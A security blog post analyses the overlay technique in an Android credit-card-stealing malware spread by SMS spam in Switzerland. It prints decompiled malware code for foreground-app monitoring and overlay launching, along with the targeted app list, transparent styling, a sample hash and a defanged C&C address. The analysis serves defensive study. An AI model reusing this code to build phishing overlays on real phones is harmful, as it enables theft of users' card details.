27 Jul 2016
Analysis of overlay technique used by malware delivered via SMS spam campaign in Switzerland
<a href=”/public/images/instagram_overlay.gif” target=”blank”style=”float: right; z-index:999;” > </a>
After reading the announcement from GovCERT about a new SMS spam campaign in Switzerland delivering a credit-card stealing Android malware, we wanted to take a look at the code behind it.
We found some great analysis by FireEye and Angel Alonso-Parrizas on the inner-working of this malware. But since we are interested in overlay attacks, we analyzed only this aspect. After getting a sample (MD5 c121a1ae8a4ee564fd6bd079ad5d3373) we tried to infect an Android emulator running version 4.4.2. In the animation on the right-hand side you see the overlay getting popped on top of Instagram application.
For the static analysis we used both cfr and jd-gui decompilers. As well described by Alonso, the main payload of the malware is loaded deferred after the malware is launched. We extracted the main payload (actually a dex-file in the application folder) from one of our infected (rooted) device and started decompiling it. Every malware using overlay attacks basically does the following two steps:
- Monitor the foreground process continuously
- Inject an overlay view when a particular condition is met
- Using
WindowManager.addView()
- By starting its own activity
- Using
If you want to dig deeper on some overlay code, we developed a simple malware to demonstrate how this works.
This malware, as suspected, contains a background service which basically checks continuously the foreground process.
@Override
public void run() {
String string2 = dkukcwkg.this.getTop();
int n = 0;
int n2 = 0;
do {
if (n2 >= Constants.PACKAGES.length) {
n2 = n;
break;
}
if (string2.contains(Constants.PACKAGES[n2])) {
n2 = 1;
break;
}
++n2;
} while (true);
if (n2 != 0) {
// Show the overlay activity
if (settings.getBoolean("CARD_SENT", false)) return;
Intent intent = new Intent((Context)dkukcwkg.this, dpathlt.class);
intent.putExtra("package", string2);
intent.addFlags(268435456); // FLAG_CANCEL_CURRENT
dkukcwkg.this.startActivity(intent);
}
}
The foreground process is checked against a predefined list of package names (of common apps), in our sample the list was "com.whatsapp", "com.android.vending", "com.facebook.orca", "com.facebook.katana", "com.tencent.mm", "com.google.android.youtube", "com.ubercab", "com.viber.voip", "com.eboks.activities", "com.skype.raider", "com.snapchat.android", "com.instagram.android", "com.twitter.android"
.
Starting with version 5.1.1, retrieving the foreground process on Android seems almost impossible. So we were curious about if they to actually use some fancy foreground detection stuff.
If we look at the getTop()
method we see following:
private String getTop() {
String string2 = Build.VERSION.SDK_INT > 20 ? this.getActivePackageL() : this.getActivePackagePreL();
if (string2 != null) {
return string2;
}
return "";
}
On pre-Lollipop version they use ActivityManager.RunningTaskInfo
:
private String getActivePackagePreL() {
List list = this.am.getRunningTasks(1);
if (!list.isEmpty()) {
return ((ActivityManager.RunningTaskInfo)list.get((int)0)).topActivity.getPackageName();
}
return "";
}
On post-Lollipop version they use ActivityManager.getRunningAppProcesses()
and check against the importance level of the process (looking for IMPORTANCE_FOREGROUND), since starting on Lollipop this is not enough anymore, they also check an hidden field called processState
searching for a specific value (2). This technique is very well explained on this StackOverflow thread.
private String getActivePackageL()
{
Object localObject3 = null;
Object localObject1 = null;
try
{
localObject2 = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
localObject1 = localObject2;
}
catch (Exception localException1)
{
Object localObject2;
Iterator localIterator;
ActivityManager.RunningAppProcessInfo localRunningAppProcessInfo;
for (;;) {}
}
localIterator = ((ActivityManager)this.context.getSystemService("activity")).getRunningAppProcesses().iterator();
if (!localIterator.hasNext()) {}
for (localObject1 = localObject3;; localObject1 = localRunningAppProcessInfo)
{
if (localObject1 != null) {
break label119;
}
return "";
localRunningAppProcessInfo = (ActivityManager.RunningAppProcessInfo)localIterator.next();
// Check if importance level is IMPORTANCE_FOREGROUND and reasonCode equals 0
if ((localRunningAppProcessInfo.importance != 100) || (localRunningAppProcessInfo.importanceReasonCode != 0)) {
break;
}
localObject2 = null;
try
{
// Get processState field via reflection
int i = ((Field)localObject1).getInt(localRunningAppProcessInfo);
localObject2 = Integer.valueOf(i);
}
catch (Exception localException2)
{
for (;;) {}
}
// If processState isn't PROCESS_STATE_TOP (value 2) break
if ((localObject2 == null) || (((Integer)localObject2).intValue() != 2)) {
break;
}
}
label119:
return localObject1.pkgList[0];
}
So no big surprise there, the malware uses well known ways to get the foreground process which aren’t working on Android >= 5.1 anymore.
Now, if the current foreground process match one item on the target list, the overlay Activity is started. This Activity is made transparent using Android styling as following:
<style name="LightDialogTheme" parent="@android:style/Theme.Holo.Light.NoActionBar">
<item name="android:windowBackground">@drawable/dialog_full_holo_light</item>
<item name="android:windowFrame">@null</item>
<item name="android:windowIsFloating">true</item>
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowContentOverlay">@null</item>
<item name="android:windowAnimationStyle">@style/DialogAnimation</item>
<item name="android:backgroundDimEnabled">true</item>
<item name="android:windowSoftInputMode">adjustResize|stateUnchanged</item>
</style>
What’s also interesting is that the APK contains language resources for many different languages like German, Greek, Spanish, French, Italian, Japanese and Chinese (Simplified, Traditional, Hong-Kong). Furthermore the credit-card number is validated, so that before actually submitting something to the server they are sure that the number given pass the Luhn Algorithm. Unfortunately by the time we were analyzing the malware, its C&C Server (hXXp://85.93.5.146/) was already down.
We also tried our Overlay Protector against it and the overlay got detected by our app. Be aware that the app in the beta channel is an old version which can only detect overlays injected via WindowManager.addView
.
Til next time,
GoS
at 00:00